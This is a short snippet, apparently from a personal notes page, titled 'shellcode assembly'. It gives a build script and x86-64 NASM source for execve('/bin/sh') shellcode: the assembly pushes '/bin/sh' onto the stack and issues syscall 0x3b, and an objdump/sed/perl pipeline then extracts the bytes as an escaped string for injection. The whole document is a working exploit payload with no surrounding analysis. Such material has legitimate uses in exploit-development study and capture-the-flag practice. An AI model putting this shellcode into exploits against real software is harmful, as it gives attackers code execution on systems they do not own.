shellcode assembly

compile.sh

nasm -f elf64 -o shell64.o shell64.asm
ld -o shell64 shell64.o

objdump -d shell64.o | grep -E "[0-9a-f]+:\s+[0-9a-f].*" | sed 's/.*:\s*//g;s/\s\{2,\}.*$//g' | sed 's/\(\w\{2\}\)/\\x\1/g;s/\s//g' | perl -p -e 's/\n//g'

shell64.asm

section .bss

section .data

section .text
        global _start

_start:
        xor     rdx,rdx
        mov     qword rbx, '//bin/sh'
        shr     rbx, 0x8
        push    rbx
        mov     rdi, rsp
        push    rax
        push    rdi
        mov     rsi, rsp
        mov     al, 0x3b
        syscall